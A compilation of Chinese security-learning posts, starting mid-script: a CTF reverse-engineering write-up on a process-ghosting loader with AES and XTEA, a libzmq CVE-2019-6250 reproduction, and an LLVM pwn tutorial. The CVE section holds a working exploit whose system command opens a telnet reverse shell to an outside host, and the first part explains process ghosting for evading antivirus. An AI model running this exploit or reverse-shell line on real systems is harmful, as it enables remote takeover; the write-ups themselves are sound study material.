29, 201, 241, 46, 197, 208, 123, 79, 187, 55, 234, 104, 40, 117, 133, 12, 67, 137, 91, 31, 136,       177, 64, 234, 24, 27, 26, 214, 122, 217] flag = [chr(xor[i]^final[i]^0xff) for i in range(len(final))] print(''.join(flag)) 感谢oacia师傅的分享 ‍
【父子进程/AES/XTEA/SMC】赛后复盘
官方wp: 进程重影技术: 进程重映像利用了Windows内核中的缓存同步问题,它会导致可执行文件的路径与从该可执行文件创建的映像节区所报告的路径不匹配。通过在一个诱饵路径上加载DLL,然后卸载它,然后从一个新路径加载它,许多Windows API将返回旧路径。这可能可以欺骗安全产品,使其在错误的路径上查找加载的映像。 主要创建方式就是先打开一个新文件,然后把这个文件挂到删除列表上,在关闭文件句柄后文件就会被删除,但是在还没有关闭的时候此时文件还未删除,此时能向文件中写入数据,然后再把这个文件映射到内存上,再关闭文件句柄,此时文件删除,但是内存中还有文件的映像,达到一定的迷惑杀软的目的。 如果是做题的话,直接用IDA附加开启的子进程,然后发现XTEA,解密得到flag 如果是学技术的话,还是要研究一下 “进程重影” 技术思路。 本文两者都会介绍的。 考点:AES\XTEA\进程与子进程\SMC\进程重影 分析 DIE打开,发现是pe64位,无壳 拖进IDA进行分析 习惯操作,先用FindCrypto扫一下,有没有加密 发现AES加密 跟踪main函数,看看它到底要干什么 int __cdecl main_0(int argc, const char **argv, const char **envp) {    j___CheckForDebuggerJustMyCode(&unk_1400A80B9);// vs2022调试debug版c++程序会出现该函数,我也不知道啥用    sub_140001FF0(*argv);    return 0; } AES核心加密逻辑函数 __int64 __fastcall sub_13F887480(char *a1, char *a2, unsigned int a3, __int64 a4, __int64 a5) {  __int64 result; // rax  unsigned __int64 i; // [rsp+28h] [rbp+8h]  unsigned __int8 v7; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_13F92800D);  v7 = a3 % 0x10;  if ( a4 ) {    qword_13F91D188 = a4;    sub_13F888EA0(); }  if ( a5 )    qword_13F91D240 = a5;  for ( i = 0i64; i < a3; i += 16i64 ) {    sub_13F889C80(a2);    j_memmove(a1, a2, 0x10ui64);    qword_13F91D180 = (__int64)a1;    sub_13F887850();    qword_13F91D240 = (__int64)a1;    a2 += 16;    a1 += 16; }  result = v7;  if ( v7 ) {    j_memmove(a1, a2, v7);    qword_13F91D180 = (__int64)a1;    return sub_13F887850(); }  return result; } 跟进了sub_14000A700函数 signed int __fastcall sub_14000A700(const char *a1) {  char *v1; // rdi  __int64 i; // rcx  DWORD LastError; // eax  signed int result; // eax  HANDLE CurrentProcess; // rax  size_t v6; // rax  DWORD dwCreationDisposition; // [rsp+20h] [rbp-40h]  char v8; // [rsp+60h] [rbp+0h] BYREF  CHAR FileName[48]; // [rsp+68h] [rbp+8h] BYREF  __int64 v10[4]; // [rsp+98h] [rbp+38h] BYREF  HANDLE hObject; // [rsp+B8h] [rbp+58h]  unsigned int v12; // [rsp+D4h] [rbp+74h]  char v13[36]; // [rsp+F4h] [rbp+94h] BYREF  int v14[12]; // [rsp+118h] [rbp+B8h] BYREF  __int64 (__fastcall *v15)(HANDLE, int *, char *, __int64, int); // [rsp+148h] [rbp+E8h]  HRSRC hResInfo; // [rsp+168h] [rbp+108h]  DWORD v17; // [rsp+184h] [rbp+124h]  HGLOBAL hResData; // [rsp+1A8h] [rbp+148h]  void *Src; // [rsp+1C8h] [rbp+168h]  DWORD NumberOfBytesWritten; // [rsp+1E4h] [rbp+184h] BYREF  DWORD nNumberOfBytesToWrite[8]; // [rsp+204h] [rbp+1A4h] BYREF  size_t Size; // [rsp+224h] [rbp+1C4h]  void *Block; // [rsp+248h] [rbp+1E8h]  LPCVOID lpBuffer[4]; // [rsp+268h] [rbp+208h] BYREF  __int64 (__fastcall *v25)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE); // [rsp+288h] [rbp+228h]  __int64 v26[3]; // [rsp+2A8h] [rbp+248h] BYREF  unsigned int v27[9]; // [rsp+2C4h] [rbp+264h] BYREF  HANDLE hHandle[4]; // [rsp+2E8h] [rbp+288h] BYREF  __int64 (__fastcall *v29)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD); // [rsp+308h] [rbp+2A8h]  char v30[76]; // [rsp+328h] [rbp+2C8h] BYREF  int v31; // [rsp+374h] [rbp+314h]  __int64 (__fastcall *v32)(HANDLE, _QWORD, char *, __int64, _QWORD); // [rsp+398h] [rbp+338h]  char *Str; // [rsp+3B8h] [rbp+358h]  int v34; // [rsp+3D4h] [rbp+374h]  int v35; // [rsp+3F4h] [rbp+394h]  int v36; // [rsp+414h] [rbp+3B4h]  wchar_t *Dest; // [rsp+438h] [rbp+3D8h]  __int64 v38[63]; // [rsp+460h] [rbp+400h] BYREF  __int64 v39; // [rsp+658h] [rbp+5F8h]  __int64 v40[4]; // [rsp+678h] [rbp+618h] BYREF  __int64 (__fastcall *v41)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD); // [rsp+698h] [rbp+638h]  int v42; // [rsp+9A4h] [rbp+944h]  v1 = &v8;  for ( i = 404i64; i; --i ) {    *(_DWORD *)v1 = -858993460;    v1 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9);  strcpy(FileName, "VNctf2023");  v10[0] = 0x616C7972723073i64;  hObject = CreateFileA(FileName, 0xC0010000, 0, 0i64, 2u, 0x80u, 0i64);// 创建一个文件  if ( hObject == (HANDLE)-1i64 ) {                                             // 失败    LastError = GetLastError();    return sub_14000257C("Failed - Error Code %08X\r\n", LastError); }  else {    v13[0] = 1;                                 // 创建成功    v15 = (__int64 (__fastcall *)(HANDLE, int *, char *, __int64, int))sub_1400016B3("NtSetInformationFile");    v12 = v15(hObject, v14, v13, 1i64, 13);    if ( v14[0] >= 0 )   {      hResInfo = FindResourceA(0i64, (LPCSTR)0x66, "shell");// 寻找指定类型和名称的资源位置      v17 = SizeofResource(0i64, hResInfo);     // 资源大小      hResData = LoadResource(0i64, hResInfo);  // 加载资源      Src = LockResource(hResData);      NumberOfBytesWritten = 0;      nNumberOfBytesToWrite[0] = 0;      LODWORD(Size) = v17 - 4;      Block = j_j_j__malloc_base(v17 - 4);      j_memmove(Block, Src, (unsigned int)Size);      j_memmove(nNumberOfBytesToWrite, (char *)Src + (unsigned int)Size, 4ui64);      GlobalUnlock(hResData);      lpBuffer[0] = 0i64;      NumberOfBytesWritten = sub_1400030BC(Block, v10, lpBuffer, (unsigned int)Size);  //关键函数,好像对shell资源进行了 AES加密      if ( NumberOfBytesWritten >= nNumberOfBytesToWrite[0]        && lpBuffer[0]        && WriteFile(hObject, lpBuffer[0], nNumberOfBytesToWrite[0], &NumberOfBytesWritten, 0i64)// 加密后shell 写到资源到文件        && (j_free(Block),                      // 释放            j_free((void *)lpBuffer[0]),            v25 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, _QWORD, int, int, HANDLE))sub_1400016B3("NtCreateSection"),// 创建节对象            v12 = v25(v26, 983071i64, 0i64, 0i64, 2, 0x1000000, hObject),           (v12 & 0x80000000) == 0) )          // 猜测上面的代码,就是把shell 资源 写到一个叫 vnctf2023的文件里面     {        result = sub_14000347C(hObject, v27, nNumberOfBytesToWrite[0]);        if ( result )                           // 写入成功       {          CloseHandle(hObject);          hHandle[0] = 0i64;          v29 = (__int64 (__fastcall *)(HANDLE *, __int64, _QWORD, HANDLE, DWORD, __int64, _QWORD, _QWORD))sub_1400016B3("NtCreateProcess");// 启动进程          CurrentProcess = GetCurrentProcess();          LOBYTE(dwCreationDisposition) = 1;          result = v29(hHandle, 0x1FFFFFi64, 0i64, CurrentProcess, dwCreationDisposition, v26[0], 0i64, 0i64);          v12 = result;          if ( result >= 0 )         {            memset(v30, 0, 0x30ui64);            v31 = 0;            v32 = (__int64 (__fastcall *)(HANDLE, _QWORD, char *, __int64, _QWORD))sub_1400016B3("NtQueryInformationProcess");            result = v32(hHandle[0], 0i64, v30, 48i64, 0i64);            v12 = result;            if ( result >= 0 )           {              Str = (char *)j_j_j__malloc_base(4ui64);              sub_1400039C2(Str, "%x", NumberOfBytesWritten);              v34 = j_strlen(FileName);              v35 = j_strlen(a1);              v36 = j_strlen(Str);              j_strcat(FileName, " ");              j_strcat(FileName, a1);              j_strcat(FileName, " ");              j_strcat(FileName, Str);              v34 += v35 + v36 + 2;              v42 = v34 + 1;              v6 = (unsigned int)(2 * (v34 + 1));              if ( !is_mul_ok(2u, v34 + 1) )                v6 = -1i64;              Dest = (wchar_t *)j_j_j__malloc_base(v6);              sub_140003175(Dest, 0i64, 2 * v34 + 2);              j_mbstowcs(Dest, FileName, v34);              result = sub_140003DBE(hHandle[0], v30, Dest);              if ( result )             {                j_free(Dest);                memset(v38, 0, 0x1B8ui64);                result = sub_140002176(hHandle[0], v30, v38);                if ( result )               {                  v38[59] = v38[2];                  v39 = v38[2] + v27[0];                  v40[0] = 0i64;                  v41 = (__int64 (__fastcall *)(__int64 *, __int64, _QWORD, HANDLE, __int64, _QWORD, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD))sub_1400016B3("NtCreateThreadEx"); //启动线程                  result = v41(v40, 0x1FFFFFi64, 0i64, hHandle[0], v39, 0i64, 0, 0i64, 0i64, 0i64, 0i64);                  v12 = result;                  if ( result >= 0 )                    return WaitForSingleObject(hHandle[0], 0xFFFFFFFF);               }             }           }         }       }     }      else     {        return CloseHandle(hObject);     }   }    else   {      sub_14000257C("Failed - Error Code %08X\r\n", v12);      return CloseHandle(hObject);   } }  return result; } 关键函数 sub_140009E20,就是那个对shell资源进行处理的函数 __int64 __fastcall sub_140009E20(__int64 a1, const char *a2, void **a3, unsigned int a4) {  char *v4; // rdi  __int64 i; // rcx  size_t v6; // rax  char v8; // [rsp+20h] [rbp+0h] BYREF  char v9[44]; // [rsp+28h] [rbp+8h] BYREF  unsigned int v10; // [rsp+54h] [rbp+34h]  BOOL v11; // [rsp+74h] [rbp+54h]  int j; // [rsp+94h] [rbp+74h]  size_t Size; // [rsp+168h] [rbp+148h]  v4 = &v8;  for ( i = 42i64; i; --i ) {    *(_DWORD *)v4 = -858993460;    v4 += 4; }  j___CheckForDebuggerJustMyCode(&unk_1400A80B9, a2, a3);  v11 = a4 % 0x10 != 0;  v10 = 16 * (v11 + a4 / 0x10);  v6 = v10 + 1;  if ( v10 == -1 )    v6 = -1i64;  *a3 = j_j_j__malloc_base(v6);  sub_140003175(*a3, 0i64, v10 + 1);              sub_140003175(v9, 0i64, 16i64);  if ( j_strlen(a2) <= 0x10 )    Size = j_strlen(a2);  else    Size = 16i64;  j_memmove(v9, a2, Size);  for ( j = 0; 16 * j < a4; ++j )    sub_140002DE7(16 * j + a1, v9, (char *)*a3 + 16 * j, 16i64);// AES解密函数 我思考了一下,如果shell进行加密,那么shell还能运行吗?反之,只有解密,才可以正常运行  return v10; } 根进观察一下 __int64 __fastcall sub_140007620(const void *a1, __int64 a2, void *a3, unsigned int a4) {  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  j_memmove(a3, a1, a4);  qword_14009D180 = (__int64)a3;  qword_14009D188 = a2;  sub_140008EA0();  return sub_1400078E0(); } 发现了一堆函数,一个一个看看 最后发现sub_1400078E0函数的代码,长得特别像AES加密函数。 从 confuse_us 那题就可以发现,这些代码长得很像.就是AES加密套路 __int64 __fastcall sub_1400078E0(__int64 a1, __int64 a2, __int64 a3) {  __int64 v3; // rcx  unsigned __int8 i; // [rsp+24h] [rbp+4h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  LOBYTE(v3) = 10;  sub_140007760(v3);  for ( i = 9; i; --i ) {    sub_140008980();    sub_140008DF0();    sub_140007760(i);    sub_140007970(); }  sub_140008980();  sub_140008DF0();  return sub_140007760(0i64); } 跟进sub_140007760 函数,发现就是addroundkey() __int64 __fastcall sub_140007760(unsigned __int8 a1, __int64 a2, __int64 a3) {  __int64 result; // rax  unsigned __int8 i; // [rsp+24h] [rbp+4h]  unsigned __int8 j; // [rsp+44h] [rbp+24h]  j___CheckForDebuggerJustMyCode(&unk_1400A800D, a2, a3);  for ( i = 0; ; ++i ) {    result = i;    if ( i >= 4u ) //这不就是 addroundkey() 函数吗?      break;    for ( j = 0; j < 4u; ++j )      *(_BYTE *)(qword_14009D180 + 4i64 * i + j) ^= byte_14009D190[16 * a1 + 4 * i + j]; //对比confuse_us那题,发现没有魔改 ^0x23 }  return result; } 其余函数也就不用再分析了,可以断定这是AES加密函数。 对shell资源进行AES解密,然后shell程序跑起来 运行该程序,发现我追踪的进程居然挂掉了,又跑起来了另一个进程 可以断定,父进程开子进程 子进程输入flag 我再次运行,发现jiji.exe没了??? 传递的参数 FileName VNctf2023 C:\Users\Le\Desktop\jijiji.exe 16000 s0rryla 附加下子进程 搜索字符串,但是无法找到关键函数 直接dump解密后的exe文件 断点下在此处,然后运行,找到解密后的文件,dump下来 D键转地址 跳转到MZ头部,发现这就是解密后的程序 把它dump下来 def main():    begin = 0x23F8CB49290 # #需对应修改    size = 0x16000  # #需对应修改    list1 = []    for i in range(size):        byte_tmp = get_bytes(begin + i,1)        list1.append(ord(byte_tmp))        if (i + 1) % 0x1000 == 0:            print("All count:{}, collect current:{}, has finish {}".format(hex(size), hex(i + 1), float(i + 1) / size))    print('collect over')    file = "C:\\Users\\Le\\Desktop\\WASS.exe" #需对应修改    #print(bytearray(list1))    buf = bytearray(list1)    with open(file, 'wb') as fw:        fw.write(buf)    print('write over') if __name__=='__main__':    main() 得到dump下来的程序 分析dump下来的程序 根据关键字符串定位关键函数 __int64 __fastcall sub_1400064F0(__int64 a1, __int64 a2) {  char *v2; // rdi  __int64 i; // rcx  const char *v4; // rax  DWORD LastError; // eax  char v7[32]; // [rsp+0h] [rbp-20h] BYREF  char v8; // [rsp+20h] [rbp+0h] BYREF  HANDLE hSnapshot; // [rsp+28h] [rbp+8h]  PROCESSENTRY32 pe; // [rsp+50h] [rbp+30h] BYREF  BOOL v11; // [rsp+194h] [rbp+174h]  unsigned int v12; // [rsp+1B4h] [rbp+194h]  DWORD CurrentProcessId; // [rsp+1D4h] [rbp+1B4h]  DWORD th32ProcessID; // [rsp+1F4h] [rbp+1D4h]  char v15[536]; // [rsp+220h] [rbp+200h] BYREF  char v16[64]; // [rsp+438h] [rbp+418h] BYREF  LPVOID lpAddress; // [rsp+478h] [rbp+458h]  DWORD flOldProtect[9]; // [rsp+494h] [rbp+474h] BYREF  LPCSTR lpFileName; // [rsp+4B8h] [rbp+498h]  char v20[64]; // [rsp+718h] [rbp+6F8h] BYREF  char v21[64]; // [rsp+758h] [rbp+738h] BYREF  char v22[48]; // [rsp+798h] [rbp+778h] BYREF  __int64 v23; // [rsp+7C8h] [rbp+7A8h]  __int64 v24; // [rsp+7D0h] [rbp+7B0h]  __int64 v25; // [rsp+7D8h] [rbp+7B8h]  __int64 v26; // [rsp+7E0h] [rbp+7C0h]  __int64 v27; // [rsp+7E8h] [rbp+7C8h]  __int64 v28; // [rsp+7F0h] [rbp+7D0h]  v2 = &v8;  for ( i = 362i64; i; --i ) {    *(_DWORD *)v2 = -858993460;    v2 += 4; }  sub_14000148D(&unk_1400180F5);  hSnapshot = CreateToolhelp32Snapshot(2u, 0);  v11 = Process32First(hSnapshot, &pe);  v12 = -1;  CurrentProcessId = GetCurrentProcessId();  while ( v11 ) {    if ( CurrentProcessId == pe.th32ProcessID )   {      th32ProcessID = pe.th32ProcessID;      v12 = sub_140001267(pe.th32ProcessID);   }    v11 = Process32Next(hSnapshot, &pe); }  if ( v12 != -1 ) {    sub_140001479(v12, v15, 10i64);    v23 = sub_140001217(v20, " > nul");    v24 = v23;    v25 = sub_140001217(v21, "taskkill -f /pid ");    v26 = v25;    v27 = sub_14000143D(v22, v25, v15);    v28 = v27;    sub_140001069(v16, v27, v24);    sub_1400010F0(v22);    sub_1400010F0(v21);    sub_1400010F0(v20);    v4 = (const char *)sub_14000106E(v16);    system(v4);    sub_1400010F0(v16); }  lpAddress = (LPVOID)sub_140001357(sub_1400010C3);  VirtualProtect(lpAddress, 0x400ui64, 0x40u, flOldProtect);  lpFileName = *(LPCSTR *)(a2 + 8);  qword_140014470 = *(_QWORD *)(a2 + 16);  if ( !DeleteFileA(lpFileName) ) {    LastError = GetLastError();    sub_14000123A("%d", LastError); }  sub_1400010FF(sub_1400010C3, qword_140014470);  sub_1400010C3();  sub_1400013C5(v7, &unk_1400101C8);  return 0i64; } 动调调试走到flag验证的地方 动态调试跟进去 成功到达关键的地方,如果不是这么清晰的话,需要U+C键来调 __int64 sub_140005B40() {  char *v0; // rdi  __int64 i; // rcx  char v3[32]; // [rsp+0h] [rbp-20h] BYREF  char v4; // [rsp+20h] [rbp+0h] BYREF  char v5[60]; // [rsp+28h] [rbp+8h] BYREF  int v6; // [rsp+64h] [rbp+44h]  int v7[11]; // [rsp+88h] [rbp+68h]  int j; // [rsp+B4h] [rbp+94h]  int k; // [rsp+D4h] [rbp+B4h]  int *v10; // [rsp+F8h] [rbp+D8h]  unsigned int v11; // [rsp+114h] [rbp+F4h]  unsigned int v12; // [rsp+134h] [rbp+114h]  unsigned int v13; // [rsp+154h] [rbp+134h]  int v14; // [rsp+174h] [rbp+154h]  int m; // [rsp+194h] [rbp+174h]  int n; // [rsp+1B4h] [rbp+194h]  v0 = &v4;  for ( i = 110i64; i; --i ) {    *(_DWORD *)v0 = -858993460;    v0 += 4; }  sub_14000148D(&unk_1400180F5);  memset(v5, 0, 0x21ui64);  v6 = 0;  v7[0] = 98;  v7[1] = 111;  v7[2] = 109;  v7[3] = 98;  sub_14000123A("your flag:");  sub_1400010BE("%s", v5);  for ( j = 0; v5[j]; ++j )   ;  if ( j != 32 )    sub_14000123A("bad, ji~ji~ji\n");  for ( k = 0; k < 4; ++k ) {    v10 = (int *)&v5[8 * k];    v11 = *v10;    v12 = v10[1];    v13 = 0;    v14 = -2009038745;    for ( m = 0; m < 33; ++m )   {      v11 += v13 ^ (v7[v13 & 3] + v13) ^ (v12 + ((v12 >> 5) ^ (16 * v12)));      v12 += (v7[(v13 >> 11) & 3] + v13) ^ (v11 + ((v11 >> 5) ^ (16 * v11)));      v13 += v14;   }    *v10 = v11;    v10[1] = v12; }  for ( n = 0; n < 32; ++n ) {    if ( v5[n] != byte_140014000[n] )   {      v6 = 1;      break;   } }  if ( v6 == 1 ) {    sub_14000123A("bad, ji~ji~ji\n"); }  else if ( !v6 ) {    sub_14000123A("yesssss \n"); }  return sub_1400013C5(v3, &unk_140010160); } XTEA加密 #include <stdio.h> #include <stdlib.h> void decrypt(unsigned int* v, unsigned int* key,unsigned int round) {  unsigned int l = v[0], r = v[1], sum = 0, delta = 0x88408067;  sum = delta * round;  for (size_t i = 0; i < round; i++) {    sum -= delta;    r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);    l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3])^sum; }  v[0] = l;  v[1] = r; } int main() {    unsigned int v[11] = {  0xADD4F778, 0xA6D7F132, 0x61813290, 0x2D4A40A6, 0x00B05F11, 0xB6D59424, 0x231BBFC6, 0xCD405B31,    0x03020100, 0x00C30504};    unsigned int key[4] = {98,111,109,98};    for(int i=0;i<4;i++){        decrypt(v+i*2,key,33);       }    for(int i=0;i<8;i++)   {        printf("%c%c%c%c",*((char*)&v[i]+0),*((char*)&v[i]+1),*((char*)&v[i]+2),*((char*)&v[i]+3));   }    return 0; } //2d326e43eb8fea8837737fc0f50f83f2 flag{2d326e43eb8fea8837737fc0f50f83f2}
CVE初探之漏洞反弹Shell(CVE-2019-6250)
概述 ZMQ(Zero MessageQueue)是一种基于消息队列得多线程网络库,C++编写,可以使得Socket编程更加简单高效。 该编号为CVE-2019-6250的远程执行漏洞,主要出现在ZMQ的核心引擎libzmq(4.2.x以及4.3.1之后的4.3.x)定义的ZMTPv2.0协议中。 这一漏洞已经有很多师傅都已经分析并复现过了,但在环境搭建和最后的利用都所少有一些不完整,为了更好的学习,在学习师傅们的文章后,我进行了复现,并进行了些许补充,供师傅们学习,特别是刚开始复现CVE的师傅。 环境搭建 复现CVE最关键也是最繁琐的一步就是搭建漏洞环境,尽量保持与CVE报告的漏洞环境一致,如旧版本环境实在搞不到,就只能对新版本进行适当patch,把漏洞部分恢复以进行复现。 下面是针对该漏洞的环境搭建步骤 下载目标版本并安装 git clone https://github.com/zeromq/libzmq.git cd libzmq git reset --hard 7302b9b8d127be5aa1f1ccebb9d01df0800182f3 sudo apt-get install libtool pkg-config build-essential autoconf automake ./autogen.sh ./configure make sudo make install 下载cppzmq git clone https://github.com/zeromq/cppzmq cd cppzmq cmake . sudo make -j4 install 测试 cd demo 编辑main.cpp,添加printf("hello worldn"); mkdir build cd build cmake .. make ./demo demo可以正常执行即可 在我看到的几篇文章中,cppzmq好像都少了最后的make,导致编译并没有完全结束,影响后面的复现 漏洞复现 先看看已有的poc #include <netinet/in.h> #include <arpa/inet.h> #include <zmq.hpp> #include <string> #include <iostream> #include <unistd.h> #include <thread> #include <mutex> class Thread { public: Thread() : the_thread(&Thread::ThreadMain, this) { } ~Thread(){ } private: std::thread the_thread; void ThreadMain() { zmq::context_t context (1); zmq::socket_t socket (context, ZMQ_REP); socket.bind ("tcp://*:6666"); while (true) { zmq::message_t request; // Wait for next request from client try { socket.recv (&request); } catch ( ... ) { } } } }; static void callRemoteFunction(const uint64_t arg1Addr, const uint64_t arg2Addr, const uint64_t funcAddr) { int s; struct sockaddr_in remote_addr = {}; if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { abort(); } remote_addr.sin_family = AF_INET; remote_addr.sin_port = htons(6666); inet_pton(AF_INET, "127.0.0.1", &remote_addr.sin_addr); if (connect(s, (struct sockaddr *)&remote_addr, sizeof(struct sockaddr)) == -1) { abort(); } const uint8_t greeting[] = { 0xFF, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* Unused */ 0x01, /* Indicates 'versioned' in zmq::stream_engine_t::receive_greeting */ 0x01, /* Selects ZMTP_2_0 in zmq::stream_engine_t::select_handshake_fun */ 0x00, /* Unused */ }; send(s, greeting, sizeof(greeting), 0); const uint8_t v2msg[] = { 0x02, /* v2_decoder_t::eight_byte_size_ready */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, /* msg_size */ }; send(s, v2msg, sizeof(v2msg), 0); /* Write UNTIL the location of zmq::msg_t::content_t */ size_t plsize = 8183; uint8_t* pl = (uint8_t*)calloc(1, plsize); send(s, pl, plsize, 0); free(pl); uint8_t content_t_replacement[] = { /* void* data */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* size_t size */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* msg_free_fn *ffn */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, /* void* hint */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; /* Assumes same endianness as target */ memcpy(content_t_replacement + 0, &arg1Addr, sizeof(arg1Addr)); memcpy(content_t_replacement + 16, &funcAddr, sizeof(funcAddr)); memcpy(content_t_replacement + 24, &arg2Addr, sizeof(arg2Addr)); /* Overwrite zmq::msg_t::content_t */ send(s, content_t_replacement, sizeof(content_t_replacement), 0); close(s); sleep(1); } char destbuffer[100]; char srcbuffer[100] = "ping google.com"; int main(void) { Thread* rt = new Thread(); sleep(1); callRemoteFunction((uint64_t)destbuffer, (uint64_t)srcbuffer, (uint64_t)strcpy); callRemoteFunction((uint64_t)destbuffer, 0, (uint64_t)system); return 0; } 复制到demo重新编译 执行./demo 复现成功 POC分析 poc主要包括下面四部分 greeting v2msg plsize content_t_replacement v2msg用于设置msg_size=0xffffffffffffffff,其中的0x2标识程序进入eight_byte_size_ready状态,调用zmq::v2_decoder_t::size_ready进行解析,zmq::v2_decoder_t::size_ready方法在做比较判断的时候,使用的read_pos_ +msg_size加法发生整型溢出,导致可绕过缓冲区大小校验进入else流程。else流程调用zmq::msg_t::init()方法,该方法不会重新分配缓冲区大小而直接处理数据。在后续流程中将造成缓冲区写越界。下面是源代码中存在漏洞的部分。 if (unlikely (!_zero_copy || ((unsigned char *) read_pos_ + msg_size_ > (allocator.data () + allocator.size ())))) { rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); } else { rc = _in_progress.init (const_cast<unsigned char *> (read_pos_), static_cast<size_t> (msg_size_), shared_message_memory_allocator::call_dec_ref, allocator.buffer (), allocator.provide_content ()); if (_in_progress.is_zcmsg ()) { allocator.advance_content (); allocator.inc_ref (); } } plsize作为padding,长度为0x1FF7,使得content_t_replacement可以覆盖_u.zclmsg.content指向的结构体。 ffn为函数指针,data和hint为两个参数的地址值,ffn将在tcp连接关闭的时候被zmq::msg_t::close()方法调用,看下图调试结果,成功执行了call0xdeadbeaf 反弹Shell 由于还不清楚如何泄露地址,这里基于没有开PIE的程序编写exp。 通过分析POC,我们发现可以控制ffn,data和hint,即调用函数和两个参数,可以实现远程代码执行。 那么我的目标是反弹shell,也就是执行 system("mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1 | /bin/bash 1>backpipe1;") ,当然这只是其中一种方式。 那么,我的想法是,在二进制文件中找命令中的所有字符,通过执行strcpy进行拷贝,拼接成完整的命令,最后用调用system函数进行执行,实现反弹shell。 exp如下 #!/usr/bin/env python # -*- encoding: utf-8 -*- ''' @File : exp.py @Time : 2023/06/24 08:59:34 @Author : 5ma11wh1t3 @Contact : 197489628@qq.com ''' import ctypes from pwn import * import base64 context.log_level=True context.arch='amd64' elf_path = './build/demo' elf = ELF(elf_path) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) inter = lambda : p.interactive() def debug():    gdb.attach(p, 'directory    /home/guo/Desktop/cve/cve-2019-6250/libzmq/src')    pause() def lg(s,addr = None):    if addr:   print('033[1;31;40m[+] %-15s --> 0x%8x033[0m'%(s,addr))    else:   print('033[1;32;40m[-] %-20s 033[0m'%(s)) if __name__ == '__main__':    re_shell = b"mknod backpipe1 p && telnet 192.168.25.1 4444 0<backpipe1    | /bin/bash 1>backpipe1;"    with open(elf_path,'rb') as f:    binary = f.read()    ads = []    for char in re_shell:    char_address = 0x400000 + binary.index(char)    ads.append(char_address)    for i in range(len(ads)):    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8+i) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['strcpy']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    sn(p1)    p.close()    p = remote('127.0.0.1',6666)    p1 = b'xff' + b'x00'*8 + b'x01' + b'x01' +b'x00'    p1 += b'x02' + b'xff'*8    p1 += b'a'*8183    p1 += p64(0x4050F8) # void* data rdi    p1 += p64(0) # size_t size    p1 += p64(elf.plt['system']) # msg_free_fn *ffn func    p1 += p64(ads[i]) # void* hint rsi    # raw_input()    sn(p1)    p.close() 演示 攻击准备 本地起监听 server 攻击实施 获得shell
PWN学习之LLVM入门
一、基本流程 ①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位: ②通过逆向,找到函数名及参数,编写基本exp ③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找 ④生成.ll文件 ⑤将.ll文件输入到LLVM中 二、命令 用下面的命令可以生成.ll文件准备输入到LLVM中: clang -emit-llvm -S exp.c -o exp.ll 最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加>[文件名]来获取: opt -load ./LLVMFirst.so -hello ./exp.ll 三、例题 1.202Redhat simpleVM ①重写函数 ②逆向,编写基本exp 函数名为o0o0o0o0则继续执行sub_6AC0 循环遍历每一个基本块 这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。 getCalledFunction获取函数本身,然后获取函数名赋值给s1 getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1 这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长 push的参数也是一个,1或2,模拟压栈操作 store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值 load参数1个,1或2,将reg2赋值为reg1中的地址指向的值 add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值 min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值 得到基本exp void o0o0o0o0(); void pop(int reg){}; void push(int reg){}; void store(int reg){}; void load(int reg){}; void add(int reg,int num){}; void min(int reg,int num){}; void o0o0o0o0(){ }; ③找到漏洞,写攻击exp store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。 load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。 add和min可以对reg里的值进行加减,相当于任意修改 查看一下opt的保护 没有开pie 所以,攻击思路如下 reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表 add(1,free.got) load(1) add(2,ogg - free) store(1) gdb调试 